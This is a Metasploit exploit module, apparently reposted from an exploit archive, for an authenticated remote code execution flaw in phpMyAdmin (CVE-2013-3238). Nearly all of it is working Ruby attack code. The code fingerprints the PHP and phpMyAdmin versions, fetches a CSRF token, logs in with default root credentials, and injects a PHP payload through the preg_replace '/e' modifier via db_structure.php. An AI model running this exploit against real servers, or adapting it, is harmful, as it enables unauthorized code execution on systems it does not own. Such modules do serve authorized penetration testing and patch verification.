phpMyAdmin – ‘preg_replace’ (Authenticated) Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()', 'Description' => %q{ This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3. PHP versions > 5.4.6 are not vulnerable. }, 'Author' => [ 'Janek "waraxe" Vind', # Discovery 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3238' ], [ 'PMASA', '2013-2'], [ 'waraxe', '2013-SA#103' ], [ 'EDB', '25003'], [ 'OSVDB', '92793'], [ 'URL', 'http://www.waraxe.us/advisory-103.html' ], [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => "&\n=+%", # Clear out PMA's error handler so it doesn't lose its mind # and cause ENOMEM errors and segfaults in the destructor. 'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);" }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 25 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) ], self.class) end def check begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') }) rescue print_error("Unable to connect to server.") return CheckCode::Unknown end if res.code != 200 print_error("Unable to query /js/messages.php") return CheckCode::Unknown end php_version = res['X-Powered-By'] if php_version print_status("PHP Version: #{php_version}") if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/ if $1.to_i > 5 return CheckCode::Safe else if $1.to_i == 5 and $2.to_i > 4 return CheckCode::Safe else if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6 return CheckCode::Safe end end end end else print_status("Unknown PHP Version") end if res.body =~ /pmaversion = '(.*)';/ print_status("phpMyAdmin version: #{$1}") case $1.downcase when '3.5.8.1', '4.0.0-rc3' return CheckCode::Safe when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2' return CheckCode::Vulnerable else if $1.starts_with? '3.5.' return CheckCode::Vulnerable end return CheckCode::Unknown end end end def exploit uri = target_uri.path print_status("Grabbing CSRF token...") response = send_request_cgi({ 'uri' => uri}) if response.nil? fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.") end if (response.body !~ /"token"\s*value="([^"]*)"/) fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?") else print_good("Retrieved token") end token = $1 post = { 'token' => token, 'pma_username' => datastore['USERNAME'], 'pma_password' => datastore['PASSWORD'] } print_status("Authenticating...") login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_post' => post }) if login.nil? fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.") end token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first cookies = login.get_cookies login_check = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'token' => token }, 'cookie' => cookies }) if login_check.body =~ /Welcome to/ fail_with(Exploit::Failure::NoAccess, "Authentication failed.") else print_good("Authentication successful") end db = rand_text_alpha(3+rand(3)) exploit_result = send_request_cgi({ 'uri' => normalize_uri(uri, 'db_structure.php'), 'method' => 'POST', 'cookie' => cookies, 'vars_post' => { 'query_type' => 'replace_prefix_tbl', 'db' => db, 'selected[0]' => db, 'token' => token, 'from_prefix' => "/e\0", 'to_prefix' => payload.encoded, 'mult_btn' => 'Yes' } },1) end end |